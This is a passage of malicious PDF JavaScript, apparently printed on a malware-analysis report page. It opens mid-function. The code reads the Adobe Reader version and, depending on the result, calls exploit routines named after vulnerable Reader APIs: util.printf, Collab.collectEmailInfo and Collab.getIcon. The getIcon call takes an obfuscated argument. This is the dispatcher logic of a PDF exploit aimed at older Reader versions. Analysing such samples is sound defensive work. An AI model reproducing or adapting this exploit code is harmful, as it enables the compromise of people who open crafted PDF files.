app.doc.Collab.getIcon(tUMhNbGw);
}
}
function pdf_start(){
var version = app.viewerVersion.toString();
version = version.replace(/\D/g,'');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 && varsion_array[2] < 3)){
util_printf();
}
if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){
collab_email();
}
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)){
collab_geticon();
}
}
pdf_start();
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.